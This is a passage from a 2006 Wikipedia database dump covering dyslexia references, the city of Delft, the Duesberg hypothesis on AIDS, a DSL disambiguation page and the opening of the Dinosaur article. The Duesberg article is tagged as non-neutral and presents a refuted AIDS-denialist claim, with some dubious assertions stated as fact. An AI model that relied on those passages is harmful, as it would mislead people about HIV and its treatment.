* Snowling, M.J. (2000). Dyslexia. Blackwell Publishing: ISBN 0631205748

==See also==
* [[Picture thinking]]
* [[Double deficit (education)|Double deficit]]
* [[List of people with dyslexia]]
* [[Alexia (disorder)]]
* [[Educational psychology]]

==External links==
===Associations and organizations===
* [http://www.apduk.org/ Auditory Processing Disorder in the UK ]
* [http://www.interdys.org/ The International Dyslexia Association (IDA)]
* [http://www.dyslexichelp.org/ Useful Website for Parents of Dyslexics]
* [http://www.dyslexiacouncil.ik.com/ Dyslexia Council UK]
* [http://www.bda-dyslexia.org.uk/main/home/index.asp British Dyslexia Association]
* [http://www.dyslexiaassociation.ca/ Canadian Dyslexia Association]
* [http://www.dyslexia.com/ Davis Dyslexia Association International (DDAI)]
* [http://www.triplesr.org/ Society for the Scientific Studies of Reading]
* [http://www.disfam.com/ Asociación Dislexia y Familia]
* [http://www.dislexiasinbarreras.com/ Asociación de Dislexia]
* [http://www.rfbd.org/ Recording for the Blind &amp; Dyslexic]

===Tools and other helpful information===
* [http://www.rehasoft.com Assistive Technology - Ayudas Técnicas]
* [http://www.dislexia.portalpsi.com Portal da Dislexia]
* [http://www.ditt-online.org Dyslexia International - Tools and Technologies (DITT)]
* [http://www.kurzweiledu.com/ Kurzweil Educational Systems]
* [http://www.bookshare.org Bookshare.org]
* [http://www.rfbd.org/ Recording for the Blind &amp; Dyslexic]
*[http://www.loc.gov/nls National Library Service for the Blind and Physically Handicapped]
* [http://www.testdyslexia.com/ Is it Dyslexia? Free Online Assessment]
* [http://www.getbrightstar.com/about_dyslexia.php About Dyslexia]
* [http://www.nottingham.ac.uk/academicsupport/screening/ Dyslexia Screening at the University of Nottingham]
* &quot;[http://www.straightdope.com/columns/050408.html Is it possible to be dyslexic in Chinese?]&quot; at [[Cecil Adams|Straight Dope]]
*&quot;[http://www.ruleworks.co.uk/dyslexia The Dyslexia Guide]&quot; - A to Z and FAQ info
*&quot;[http://www.3dlearner.com/ 3D Learner Dyslexia Center]&quot; - An alternate understanding of dyslexia and how to treat it.

==References==
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#{{Note|BPS2004Court}} [http://www.psychtesting.org.uk/hotissues.asp?id=83 British Psychological Society report on a British High Court judgement regarding the definition of dyslexia].
#{{Note|BerlinR1884}} Berlin, R. (1884). Uber Dyslexie. ''Archiv fur Psychiatrie'', '''15''', 276-278. 
#{{Note|AAP1998}} [http://aappolicy.aappublications.org/cgi/content/full/pediatrics;102/5/1217 Learning Disabilities, Dyslexia, and Vision: A Subject Review ] A report from American Academy Of Pediatrics reporting the complete lack of evidence for a link between visual problems and learning difficulties. Essentially, coloured lenses and other visual gimmicks and exercises should be avoided according to this report.
# {{Note|MITNews}} [http://www-tech.mit.edu/V121/N12/shorts2_12.12w.html News Briefs: Scientists Say Severity of Dyslexia Depends on Language]
# {{Note|37Symptoms}} [http://www.dyslexia.com/library/symptoms.htm 37 Common Characteristics of Dyslexia ] © 1992 by Ronald D. Davis.


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[[Image:Ltspkr.png]] '''[[Media:Nl-Delft.ogg|Delft]]''' is a city in [[South Holland]] (Zuid-Holland), the [[Netherlands]], located halfway between [[Rotterdam]] and [[The Hague]] (Den Haag). Delft is also a [[municipality]]. It has 94,098 inhabitants ([[2005]]).

See also ''[[Delftware]]''.

==History==

[[Image:Flag of Delft.png|thumbnail|100px|Flag of Delft]]
[[Image:Wapenvandelft.jpg|thumbnail|100px|Arms of Delft]]

The city dates from the [[12th century]]. It received its [[City rights in the Netherlands|charter]] in [[1246]].

The association of the [[House of Orange]] with Delft began when [[William the Silent|William of Orange]] (Willem van Oranje), nicknamed William the Silent, took up residence there in [[1572]]. William was the leader at the time in the struggle against the Spanish, the [[Eighty Years' War]]. 

Delft was one of the leading cities of [[Holland]] and was equipped with the necessary [[city wall]]s to serve as a headquarters. When William was shot to death in [[1584]] by [[Balthazar Gerards]] in the hall of the Prinsenhof, the family's traditional burial place in [[Breda (Netherlands)|Breda]] was in the hands of the Spanish. He was buried in the [[Nieuwe Kerk (Delft)|Nieuwe Kerk]] (New Church), starting a tradition for the House of Orange that has continued to the present day.

In [[1654]], the city was badly damaged and over 100 people killed in the [[Delft Explosion]].

==Sights==
The city centre retains many old buildings, and many streets have [[canal]]s in the centre, inhabited by [[fish]] and [[plant]]s.  
Historical buildings include:
* [[Oude Kerk]] (Old Church). [[Piet Pieterszoon Hein]] and [[Anthony van Leeuwenhoek]] are buried here.
* [[Nieuwe Kerk (Delft)|Nieuwe Kerk]] (New Church), constructed between [[1381]] and [[1496]]. It contains the Dutch royal family's burial vault, which between funerals is sealed with a 5000 kg cover stone.
* The [[Prinsenhof]] (Princes' Court), now a museum.
* City Hall.
* The Oostpoort ([[Eastern Gate (Delft)|Eastern gate]]), built around 1400. This is the only remaining gate of the old city walls.
* The Gemeenlandshuis or Huyterhuis, built in [[1505]], which houses the regional water authority Delfland since [[1645]].

==Culture==

[[Image:Jan Vermeer van Delft 001.jpg|180px|thumb|''View of Delft'', Johannes Vermeer, 1660-1661]]

Delft is well known for the [[Delftware|Delft pottery]] [[ceramic]] products which were styled on the imported [[China|Chinese]] [[porcelain]] of the [[17th century]]. The city had an early start in this area since it was a home port of the [[Dutch East India Company]].

The painter [[Johannes Vermeer]] ([[1632]]-[[1675]]) was born in Delft. Vermeer used Delft streets and home interiors as the subject or background of his paintings.

Several other famous painters lived and worked in Delft at that time, such as [[Pieter de Hooch|Pieter de Hoogh]], [[Carel Fabritius]] and [[Nicolaes Maes]]. They all were members of the [[Delft School]]. The Delft School is known for its images of domestic life, views of households, church interiors, courtyards, squares and the streets of Delft. The painters also produced pictures showing historic events, flower paintings, portraits for patrons and the court, and decorative pieces of art.

==Education==
[[Delft University of Technology]] (TU Delft) is the most important engineering school of the Netherlands. It was founded as an academy for civil engineering in [[1842]] by [[William_II_of_the_Netherlands|King William II]]. Today about 10,000 students are enlisted at TU Delft. This is about 10% of the population of Delft.

Also the [[UNESCO-IHE]] Institute for Water Education which provides [[postgraduate]] water education for people from [[developing country|developing countries]] is based here. It draws on the strong tradition in [[water management]] and [[hydraulic engineering]] of the university.

==Recreation==
In the East of Delft is the ''Delftse Hout'' (meaning &quot;Delft Forest&quot;) recreation area with a [[lake]] called ''Grote Plas'', in which people can [[swimming|swim]]. 
A part of the lake shore consists of a narrow beach (lanes of sand and grass). The northeastern side of the beach is a [[nudism|nudist]] area. It is not separated from the clothed areas as in other places: the walking path around the lake, for general use, passes through it. In Delftse Hout there is also a dinner restaurant named &quot;de Schaapskooi&quot;, private gardens, a campground, a boyscout home called &quot;The Helix&quot; and other recreational clubs for various sports and interests. Noise from nearby highway A13/E19 (Rotterdam - The Hague) can be heard especially when there are winds from the west and at night. Delftse Hout can be reached from Delft main station by foot in around 30 minutes (or 10 minutes by bike). The way between the city centre and Delftse Hout is well marked.

==Famous People==
Delft was the birthplace of several famous people:
* [[Hugo Grotius]] (1583-1645), the lawyer who laid the foundations for [[international law]]
*[[Martin van den Hove]] (1605-1639), astronomer and mathematician
*[[Anton van Leeuwenhoek]] (1632-1723), scientist and inventor of the [[microscope]]
*[[Johannes Vermeer]] (1632-1675), painter

==External links==
* [http://www.delft.nl/ Municipal Website of Delft] (in Dutch and English)
* [http://www.gemeentedelft.info/ City Information for Inhabitants](in Dutch)
* [http://www.visitdelft.com/ Delft Tourist Website] (in English) 
* [http://www.nieuwekerk-delft.nl/eng/ ''Nieuwe Kerk'' Website] (in English)
* [http://www.plattegronden.nl/delft/ Map of Delft]
* [http://www.htm.net/Images/lijnk19.gif Public Transport Map of Delft]
* [http://triton.tpd.tno.nl/gigazoom/Delft2.htm Panorama of Delft]
* [http://www.tudelft.nl/ Delft University of Technology (TU Delft)]
* [http://www.unesco-ihe.org/ UNESCO-IHE Institute for Water Education]

{{Province South Holland 2p|17|106}}

[[Category:South Holland]]
[[Category:Cities in the Netherlands]]

[[bg:Делфт]]
[[ca:Delft]]
[[de:Delft]]
[[el:Ντελφτ]]
[[es:Delft]]
[[fr:Delft]]
[[id:Delft]]
[[it:Delft]]
[[li:Delft]]
[[nl:Delft]]
[[ja:デルフト市]]
[[pl:Delft]]
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[[sv:Delft]]</text>
    </revision>
  </page>
  <page>
    <title>Duesberg hypothesis</title>
    <id>8309</id>
    <revision>
      <id>41658175</id>
      <timestamp>2006-02-28T21:24:03Z</timestamp>
      <contributor>
        <ip>163.191.194.235</ip>
      </contributor>
      <comment>/* Duesberg hypothesis claims immune collapse caused by legal and illegal drug use */</comment>
      <text xml:space="preserve">{{POV}}
The '''Duesberg hypothesis''' is the claim that chemicals from recreational and pharmaceutical drug use, and not [[HIV]] (human immunodeficiency [[virus]]), is the primary cause of [[AIDS]]. In this approach, AIDS is taken to be a name for a group of unrelated diseases caused by abuse of recreational drugs such as [[heroin]] and [[cocaine]], malnutrition, and/or DNA chain terminator drugs such as [[AZT]] that are frequently prescribed to fight [[HIV infection]], whereas HIV is seen as an opportunistic [[passenger virus]], thereby bringing into question the issue of whether HIV infection ever actually occurs.

== Proponents of the Duesberg hypothesis ==
The most prominent defenders of this theory are molecular cell biologist [[Peter Duesberg]], biochemist [[David Rasnick]] and journalist [[Celia Farber]].

===Duesberg hypothesis claims immune collapse caused by legal and illegal drug use===
Duesberg believes that there is a statistical correlation between decreases in recreational drug use and decreases in AIDS cases. He points to a rapid increase of AIDS cases in the 1980s that correspond to an epidemic of recreational drug use in the United States and Europe. However, it must be remembered that HIV and AIDS were only discovered in the early to mid-eighties, so it is no surprise that the number of AIDS cases rose exponentially. Although the 1960s are notorious for drugs, drug usage (e.g. of [[Heroin]], [[Cocaine]], [[Amphetamine]]s, [[Poppers]]) has very much increased since then (with a temporary decline in the 1990s) and is still much higher than in the 1960s. Duesberg supposes that a major component of the present day 'drug craze' that wasn't present in the 60's is the use of 'poppers' aka amyl nitrite and butyl nitrite, inhaled by mostly gay men to enhance their sexual experiences. Both chemicals are highly cytotoxic and easily overused. The now more regular occurrence of the once rare Pneumocystis carinii pneumonia (PCP) and [[Kaposi's sarcoma]]  are theorized to occur in patients that regularly use such inhalants. However, no evidence has been proposed for this theory.

Moreover, Duesberg asserts that treating AIDS with high doses of drugs such as the antiviral [[AZT]], which became widely available about ten years after the beginning of the AIDS epidemic, has proven to be more fatal than the recreational use of drugs such as heroin and cocaine.  This assertion finds some support in the early Physician's Desk Reference listings for AZT (listed as Retrovir), where the drug's manufacturer warns that the drug's side effects are &quot;indistinguishable&quot; from the symptoms of AIDS. AZT also induces miscarriages, generates birth defects, and causes cancer in animals born to AZT-treated mothers.  Because of concerns with AZT's side effects, many AIDS patients are now treated with a cocktail of [[protease inhibitor (pharmacology)|protease inhibitor]] and [[reverse transcriptase inhibitor]] drugs.  However, any given drug cocktail may fail to work in any specific case, and in 1997, 53% of San Francisco's gay men had a strain of HIV that was resistant to one or more of the 20 approved anti-HIV drugs, with the result that AZT is still used in some cases.

Duesberg explains the prevalence of AIDS among male homosexuals in Western countries such as the United States by pointing to the prevalence of recreational drug use among male homosexuals in such countries.  As reported in medical literature, male homosexuals in such countries use a great deal of sexual stimulants, including &quot;[[poppers]]&quot; (nitrate inhalants), [[amfetamine|amphetamines]], [[ethyl chloride]], [[Cocaine]], and [[Heroin]].  Many of these drugs are known to inhibit the functioning of the body's [[immune system]], at least briefly. At the time of Duesberg's book, no one had done long term studies on the effects of the chemicals on the immune system.

[[Benzene]] derivatives in most [[sexual lubricant]]s and already lubricated condoms are also suspected to cause [[intoxication]]s, because they are absorbed well into the body if placed into the intestines. Benzene intoxication shows some of the symptoms, e.g. immune suppression, cancer and inverted CD4/CD8 ratio, observed in [[AIDS]] patients as well.  The fact that a large number of heterosexual couples also used sexual lubricants and lubricated condoms with benzene derivatives without causing a corresponding AIDS epidemic within this community during the 1980s is not addressed by Duesberg.

===Duesberg claims current AIDS definitions skew data===
Although the first definitions of AIDS mentioned no cause, proponents of HIV as a cause of AIDS no longer define AIDS independently of the hypothesized cause. Duesberg also points to the fact that a significant number of AIDS victims have died without proof of HIV infection.  These people aren't always classified as having AIDS, because there is no proof that they had HIV, yet they're otherwise like AIDS patients. Since AIDS is now defined as X diseases plus HIV, victims with X diseases and no HIV don't count as AIDS patients. 

With such logic, claims Duesberg, it is impossible by definition to offer evidence that AIDS doesn't require HIV--even though public health officials compiled exactly that data in the early years of the AIDS epidemic, before HIV tests were available anywhere in the world.

===Duesberg claims AIDS in Africa is unrelated to AIDS anywhere else===
Reported AIDS cases in Africa and other parts of the developing world, where only limited attempts are made to test for HIV infection, include people who do not belong to Duesberg's preferred risk groups of drug addicts and male homosexuals, and it would be difficult to separate the collected data to exclude non-drug users and non-gays.  In fact, Duesberg writes on his website that &quot;There are no risk groups in Africa, like drug addicts and homosexuals.&quot;

According to Duesberg, the majority of African AIDS cases may be explained away as malnutrition, parasitic infection, and poor sanitation, even though African AIDS cases have increased in the last two decades as HIV's prevalence has increased and as malnutrition and poor sanitation have declined in Africa. 

The diseases AIDS victims catch differ radically between African and Western populations.  Of course, there are many differences between what diseases these victims are exposed to and thus have the opportunity to catch.  The AIDS-associated disease [[Kaposi's sarcoma]], which requires uncontrolled infection with the sexually transmitted HHV-8 (since renamed KSHV for Kaposi's Sarcoma Herpes Virus), occurs in sexually promisuous gay males but rarely in any AIDS patients of any sexual orientation who do not have a history of sexual promiscuity.  Outside of sexually promiscuous HIV+ patients, Kaposi's sarcoma occurs in very few people who do not have a specific genetic mutation, HLA-DR, which affects immune system function.

===Duesberg notes that HIV-positive people don't immediately develop AIDS===
There are many people who have HIV and have not yet developed AIDS and don't use the chemicals Duesberg hypothesizes cause AIDS.  Mainstream scientists expect that nearly all of these people will develop AIDS within ten to fifteen years after infection, but in the meantime, they are relatively healthy.  According to the Duesberg hypothesis, these people will remain as healthy as anyone else.

===The dissenter's offer to infect himself===
Duesberg's most radical challenge to the HIV-AIDS hypothesis is his offer to infect himself with HIV.  However, he claims that it is not possible for him to do so without the approval of the U.S. [[National Institutes of Health]] and the university where he works.  Moreover, there are already some one million HIV-positive people in the United States, as well as some 34 million people elsewhere in the world who test HIV-positive, so the addition of one nearly 70-year-old academic is not likely to make much difference in this debate.

===Duesberg claims that retroviruses like HIV must be harmless to survive===
Peter Duesberg argues that [[retroviruses]] like HIV must be harmless to survive, because after reverse transcription of their RNA to DNA, they depend on [[cell division]] to replicate. They cannot replicate in [[neuron]]s, for example, because these cells do not divide (after the age of one year). The normal mode of proliferation of retroviruses is from mother to child, thus implying the survival of the infected mother and the child for decades. Humans carry more than 300 different harmless retroviruses in their DNA, all of whose genomes are very similar to the HIV genome. 

Due to the dependence of retroviruses on cell division, researchers in the 1970s suspected that they might be a cause of [[cancer]]. It was one of the major achievements of [[Peter Duesberg]]'s career in the 1980s to show this not to be the case.

== Common views of Duesberg and his opponents ==
'''[[Nitrite inhalants]]''' (&quot;[[Poppers]]&quot;) are dangerous drugs -- ''independently'' of the HIV-AIDS discussion. Nitrites cause [[methemoglobinemia]] and have been observed to be [[mutagenic]], [[carcinogenic]] and immunosuppressive in animals and humans. They have an effect on both the humoral and cellular immunity.
HIV research found that they stimulate viral replication and secretion of viral proteins involved in [[Kaposi's sarcoma]] growth.

Thus, both sides agree that [[Nitrite inhalants]] (and other drugs) at least ''accelerate'' the development of [[Kaposi's sarcoma]] and other AIDS-defining diseases, i.e. that Nitrites are a [[cofactor]] -- but they don't agree on Nitrites or other drugs being the ''main'' cause of AIDS or Kaposi's sarcoma.

== Opponents of the Duesberg hypothesis ==
The current consensus in the scientific community is that the Duesberg hypothesis has been refuted by the huge mass of available evidence, showing that [[Koch's postulates]] have been fulfilled by HIV, that virus numbers in the blood [[correlation|correlate]] with disease progression and that a plausible mechanism for HIV's action has been proposed.

In the 9 December, 1994 issue of ''Science'' (Vol. 266, No. 5191), Duesberg's methods and claims were evaluated and found that: 
* it is abundantly evident that HIV causes disease and death in [[hemophiliac]]s (Cohen, 1994a)
* HIV fulfills [[Koch's postulates]] (Cohen, 1994b)
* the AIDS epidemic in [[Thailand]] cited by Duesberg as confirming his theories in fact is evidence tending to confirm the role of HIV in AIDS. (Cohen, 1994c)
* AZT and illicit drug use, contrary to Duesberg's claims, do not cause an immune deficiency to or similar to that seen in AIDS (Cohen, 1994d)

===Opponents claim immune collapse caused by HIV's effects, not drugs===
Indeed, the vast majority of people with AIDS never received antiretroviral drugs, including those in developed countries prior to the licensure of [[AZT]] in [[1987]], and people in developing countries today where very few individuals have access to these medications ([http://www.unaids.org/html/pub/publications/fact-sheets04/fs_treatment_en_pdf.pdf UNAIDS, 2003]). 

As with medications for any serious diseases, antiretroviral drugs can have toxic side effects. However, there is no evidence that antiretroviral drugs cause the severe immunosuppression that typifies AIDS, and abundant evidence that antiretroviral therapy, when used according to established guidelines, can improve the length and quality of life of HIV-infected individuals. 

In the mid-1980s, [[clinical trial]]s enrolling patients with AIDS found that AZT given as single-drug therapy conferred a modest (and short-lived) survival advantage compared to [[placebo]]. Among HIV-infected patients who had not yet developed AIDS, placebo-controlled trials found that AZT given as single-drug therapy delayed, for a year or two, the onset of AIDS-related illnesses. Significantly, long-term follow-up of these trials did not show a prolonged benefit of AZT, but also never indicated that the drug increased disease progression or mortality. The lack of excess AIDS cases and death in the AZT arms of these placebo-controlled trials effectively counters the argument that AZT causes AIDS ([http://www.niaid.nih.gov/publications/hivaids/23.htm NIAID, 1995]). 

Subsequent clinical trials found that patients receiving two-drug combinations had up to 50 percent increases in time to progression to AIDS and in survival when compared to people receiving single-drug therapy. In more recent years, three-drug combination therapies have produced another 50 percent to 80 percent improvements in progression to AIDS and in survival when compared to two-drug regimens in clinical trials ([http://www.hivatis.org/guidelines/adult/AA_040705.pdf HHS, 2005]). Use of potent anti-HIV combination therapies has contributed to dramatic reductions in the incidence of AIDS and AIDS-related deaths in populations where these drugs are widely available, an effect which clearly would not be seen if antiretroviral drugs caused AIDS (Palella et al., 1998; Mocroft et al., 1998; Mocroft et al., 2000; Vittinghoff et al., 1999; Detels et al., 1998; de Martino et al., 2000; Hogg et al., 1999; Schwarcz et al., 2000; Kaplan et al., 2000, McNaghten et al., 1999).

===Opponents claim current AIDS definitions supported by best science===
Early definitions of AIDS did not include any reference to the cause.  The changes were made as the weight of evidence accumulated and consensus was developed.   

For this aspect of the debate, a particularly relevant feature of AIDS is the relentless decline of immune system function.  Without anti-HIV drug therapy, the collapse of the immune system is essentially unstoppable, although it may proceed in an uneven fashion.  By contrast, a person who receives chemotherapy for cancer can expect to have severely depressed immune system function for a time after treatment ends, and then to recover to normal or near-normal stages.  Assuming no further need for chemotherapy, this person may expect essentially normal immune function for the rest of his or her life.

AIDS patients, however, do not recover significantly from downturns in immune function; in the absence of HIV suppression, their immune system eventually collapses.  The natural course of AIDS is the long-term and essentially irreversible loss of immune system function.  Other than HIV infection, which Duesberg proponents reject, there are very few known causes of chronic immune system failure, notably most forms of leukemia and a few rare genetic disorders, and these cases are both uncommon and not in the Duesberg hypothesis' risk groups of intravenous drug users and male homosexuals.

Although proponents of the Duesberg hypothesis assert the existence of HIV-negative people with long-term immune system failure (other than due to known causes, like leukemia), they have yet to publish case studies on any such individuals or to work with any medical centers to have other known causes excluded.  Instead, they merely state that they believe such people to exist, because it is the logical outcome of their ideas, without producing a single case to support the assertion.

Importantly, there is nothing about the datasets that forces researchers to pay attention to the HIV status of a participant; in fact, studies show intriguing differences in AIDS behaviors based on factors other than HIV infection.  For example, hemophiliacs who acquired HIV through contaminated blood products were less likely to develop certain opportunistic infections (and more likely to die of liver failure) than people who acquired HIV through sexual contact.  Duesberg, however, rejects both the existing data and the challenge to present proof himself.

===Opponents claim AIDS in Africa is also caused by HIV===
The Duesberg proponents say that AIDS in Africa is the result of poor sanitation and malnutrition, not HIV.  Opponents note the following facts:

*  AIDS in Africa has increased during the last two decades, and so has the prevalence of HIV.
*  Sanitation and nutrition, on the other hand, have noticeably improved since the 1980s, when the Ethiopian famine was prominent in the news.  
*  AIDS in Africa largely kills sexually active working-age adults.  
*  The groups that have HIV are the ones dying from AIDS.  For example, in areas where surveys show 50% of people with HIV are women, that area will show that 50% of people dying from AIDS are women.  In areas where 20% of HIV+ people use recreational drugs, then 20% of the people dying from AIDS use recreational drugs.

If the Duesberg hypothesis is right, one wonders why AIDS kills so many otherwise healthy adults in Africa at the same time that health has improved among the children and the elderly, who are normally the most vulnerable to poor sanitation and malnutrition, and least vulnerable to sexually transmitted diseases.

===Opponents claim that nearly all HIV-positive people will develop AIDS===
Duesberg claims as support for his idea that many drug-free HIV+ people have not yet developed AIDS; other scientists note that many other drug-free HIV+ people have developed AIDS, and that if they wait long enough, it is very likely that nearly all of the HIV+ people will develop AIDS.  Mainstream scientists also note that drug-using HIV-negative people do not seem to suffer from immune system collapse.

==Quotations==
Warren Winkelstein Jr., a Berkeley AIDS researcher, characterized Duesberg's continued publicizing of his theory as &quot;irresponsible, with terribly serious consequences&quot;.

Helene Gayle, who was associate director of the [[Centers for Disease Control and Prevention]] (CDC) office in Washington, D.C., characterized Duesberg's message as &quot;very damaging&quot; to AIDS prevention projects.

Martin Delaney, of [[Project Inform]], has been an active opponent of Duesberg's &quot;continuing public campaign&quot; &quot;to convince the public, people at risk of HIV infection, and people already infected that they are in no danger from this virus, that AIDS is solely a behavioral disease, and that current treatments for the disease and recreational drug abuse are in fact the cause of the disease.&quot;

''Science's'' special news report, which followed a 3-month investigation, found that &quot;Mainstream AIDS researchers argue that Duesberg's arguments are constructed by selective reading of the scientific literature, dismissing evidence that contradicts his theses, requiring impossibly definitive
proof, and dismissing outright studies marked by inconsequential weaknesses.&quot;

&quot;(Duesberg )...has built a case on what to some looks like possible misinterpretation, misuse of statistics, and highly selective cherry-picking of the data while contrary evidence is ignored.&quot; Martin Delaney (Science, p. 314, Vol. 267, No. 5196, Jan. 20, 1995)

==References==
*Cohen J. (1994) [http://www.sciencemag.org/feature/data/cohen/266-5191-1642a.pdf The Duesberg phenomenon]. ''Science'' '''266''', 1642-1644 PMID 7992043

*Cohen J. (1994a) [http://www.sciencemag.org/feature/data/cohen/266-5191-1645a.pdf Duesberg and critics agree: Hemophilia is the best test]. ''Science'' '''266''', 1645-1646 PMID 7992044

*Cohen J. (1994b) [http://www.sciencemag.org/feature/data/cohen/266-5191-1647.pdf Fulfilling Koch's postulates]. ''Science'' '''266''', 1647 PMID 7992045

*Cohen J. (1994c) [http://www.sciencemag.org/feature/data/cohen/266-5191-1647.pdf The epidemic in Thailand]. ''Science'' '''266''', 1647 PMID 7992046

*Cohen J. (1994d) [http://www.sciencemag.org/feature/data/cohen/266-5191-1648a.pdf Could drugs, rather than a virus be the cause of AIDS?] ''Science'' '''266''', 1648-1649 PMID 7992047

*de Martino M, Tovo PA, Balducci M, Galli L, Gabiano C, Rezza G, Pezzotti P. (2000) Reduction in mortality with availability of antiretroviral therapy for children with perinatal HIV-1 infection. Italian Register for HIV Infection in Children and the Italian National AIDS Registry. ''JAMA'' '''284''', 190-197 PMID 10889592

*Detels R, Munoz A, McFarlane G, Kingsley LA, Margolick JB, Giorgi J, Schrager LK, Phair JP. (1998) Effectiveness of potent antiretroviral therapy on time to AIDS and death in men with known HIV infection duration. Multicenter AIDS Cohort Study Investigators. ''JAMA'' '''280''', 1497-1503 PMID 9809730

*Hogg RS, Yip B, Kully C, Craib KJ, O'Shaughnessy MV, Schechter MT, Montaner JS. (1999) Improved survival among HIV-infected patients after initiation of triple-drug antiretroviral regimens. ''CMAJ'' '''160''', 659-665 PMID 10102000

*Kaplan JE, Hanson D, Dworkin MS, Frederick T, Bertolli J, Lindegren ML, Holmberg S, Jones JL. (2000) Epidemiology of human immunodeficiency virus-associated opportunistic infections in the United States in the era of highly active antiretroviral therapy. ''Clin Infect Dis.'' '''Suppl 1''', S5-14 PMID 10770911

*McNaghten AD, Hanson DL, Jones JL, Dworkin MS, Ward JW. (1999) Effects of antiretroviral therapy and opportunistic illness primary chemoprophylaxis on survival after AIDS diagnosis. Adult/Adolescent Spectrum of Disease Group. ''AIDS'' '''13''', 1687-1695 PMID 10509570

*Mocroft A, Vella S, Benfield TL, Chiesi A, Miller V, Gargalianos P, d'Arminio Monforte A, Yust I, Bruun JN, Phillips AN, Lundgren JD. (1998) Changing patterns of mortality across Europe in patients infected with HIV-1. EuroSIDA Study Group. ''Lancet'' '''352''', 1725-1730 PMID 9848347

*Mocroft A, Katlama C, Johnson AM, Pradier C, Antunes F, Mulcahy F, Chiesi A, Phillips AN, Kirk O, Lundgren JD. (2000) AIDS across Europe, 1994-98: the EuroSIDA study. ''Lancet'' '''356''', 291-296 PMID 11071184

*Palella FJ Jr, Delaney KM, Moorman AC, Loveless MO, Fuhrer J, Satten GA, Aschman DJ, Holmberg SD. (1998) Declining morbidity and mortality among patients with advanced human immunodeficiency virus infection. HIV Outpatient Study Investigators. ''N. Engl. J. Med.'' '''338''', 853-860 PMID 9516219

*Schwarcz SK, Hsu LC, Vittinghoff E, Katz MH. (2000) Impact of protease inhibitors and other antiretroviral treatments on acquired immunodeficiency syndrome survival in San Francisco, California, 1987-1996. ''Am J Epidem'' '''152''', 178-185 PMID 10909955

*Vittinghoff E, Scheer S, O'Malley P, Colfax G, Holmberg SD, Buchbinder SP. (1999) Combination antiretroviral therapy and recent declines in AIDS incidence and mortality. ''J. Infect. Dis.'' '''179''', 717-720  PMID 9952385

== External links ==
*[http://www.niaid.nih.gov/factsheets/evidhiv.htm The Evidence That HIV Causes AIDS] NIH fact sheet February 2003
*[http://www.niaid.nih.gov/factsheets/howhiv.htm How HIV Causes AIDS] NIH fact sheet November 2004
* [http://www.virusmyth.net/aids/data/cfmullis.htm 1994 Interview with Kary Mullis about HIV and AIDS]
* [http://www.duesberg.com/ Peter Duesberg on AIDS]
* [http://www.virusmyth.net Virusmyth, questioning the existence of HIV]
* [http://www.virusmyth.net/aids/data/pdphth0.htm AIDS ACQUIRED BY DRUG CONSUMPTION AND OTHER NONCONTAGIOUS RISK FACTORS -PETER H. DUESBERG]

{{AIDS}}

[[Category:HIV/AIDS]]
[[Category:AIDS origin hypotheses]]

[[pt:hipótese de Duesberg]]</text>
    </revision>
  </page>
  <page>
    <title>DSL</title>
    <id>8310</id>
    <revision>
      <id>40360546</id>
      <timestamp>2006-02-20T01:27:37Z</timestamp>
      <contributor>
        <username>Midnightcomm</username>
        <id>645277</id>
      </contributor>
      <comment>Digital Subscriber Line</comment>
      <text xml:space="preserve">'''DSL''' may refer to:

*[[Damn Small Linux]]
*[[Dark and Shattered Lands]], a [[MUD]] based loosely on [[Forgotten Realms]] and [[Dragonlance]] books.
*[[Digital Subscriber Line]], an [[Internet]] connection method.
*[[Divers Sign Language]], a derivation of [[American Sign Language]] which scuba divers use to communicate underwater
*[[Domain-specific language]]
*[[Nintendo DS Lite]]
{{TLAdisambig}}

[[de:DSL]]
[[fr:DSL]]</text>
    </revision>
  </page>
  <page>
    <title>Dinosaur</title>
    <id>8311</id>
    <revision>
      <id>42148778</id>
      <timestamp>2006-03-04T03:30:49Z</timestamp>
      <contributor>
        <username>Dinoguy2</username>
        <id>140946</id>
      </contributor>
      <comment>rv to last version by TigerShark</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox | color = pink 
| name = Dinosaur
| fossil_range = [[Triassic]] – [[Cretaceous]]
| status = {{StatusFossil}}
| image = Saurier2.jpg
| image_width = 260px
| image_caption = Replica of ''[[Tyrannosaurus rex]]'' at the [[Senckenberg Museum]].

| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Sauropsid|Sauropsida]]
| superordo = '''Dinosauria'''
| superordo_authority = [[Richard Owen|Owen]], 1842
| subdivision_ranks = Orders &amp; Suborders
| subdivision = &lt;div&gt;
*[[Saurischia]]
**[[Sauropodomorpha]]
**[[Theropoda]]
*[[Ornithischia]]
&lt;/div&gt;
}}
'''Dinosaurs''' were [[vertebrate]] [[animal]]s that dominated the [[Landform|terrestrial]] [[ecosystem]] for over 160 million years, first appearing approximately 230 million years ago. At the end of the [[Cretaceous]] period 65 million years ago, dinosaurs suffered a catastrophic [[extinction]], which ended their dominance on land. Modern [[bird]]s are considered to be the direct descendants of [[theropod]] dinosaurs. 

Since the first dinosaur was recognized in the 19th century, their mounted, fossilized skeletons have become major attractions at [[museum]]s around the world. Dinosaurs have become a part of world culture and remain consistently popular, especially among children. They have been featured in best-selling books and blockbuster films such as ''[[Jurassic Park]]'', and new discoveries are regularly covered by the [[media]]. 

The term ''dinosaur'' is also used informally to describe any prehistoric reptile, such as the [[pelycosaur]] ''[[Dimetrodon]]'', the winged [[pterosaur]]s, and the aquatic [[ichthyosaur]]s, [[plesiosaur]]s, and [[mosasaur]]s, though none of these are actually dinosaurs.

==What is a dinosaur?==

===Definition===
[[Image:Triceratops 1.jpg|right|thumb|200px|[[Triceratops]] [[skeleton]] at the [[Smithsonian Institution|Smithsonian]] [[National Museum of Natural History]].]]
The [[superorder]] or [[clade]] '''&quot;Dinosauria&quot;''' was formally named by the [[England|English]] scientist [[Richard Owen]] in 1842. The term is a [[portmanteau]] derived from the [[Greek language|Greek]] words ''deinos'' (&quot;terrible&quot; or &quot;fearfully great&quot; or &quot;formidable&quot;) and ''sauros'' (&quot;lizard&quot; or &quot;reptile&quot;). Owen chose it to express his awe at the size and majesty of the extinct animals, not out of fear or trepidation at their size and often-formidable arsenal of teeth and claws. 

Dinosaurs were extremely varied.  Some were [[herbivore|herbivorous]], others [[carnivore|carnivorous]]. Some dinosaurs were [[biped]]s, some were [[quadruped]]s, and others (such as the dinosaur ''[[Ammosaurus]]'') could walk easily on two or four legs.

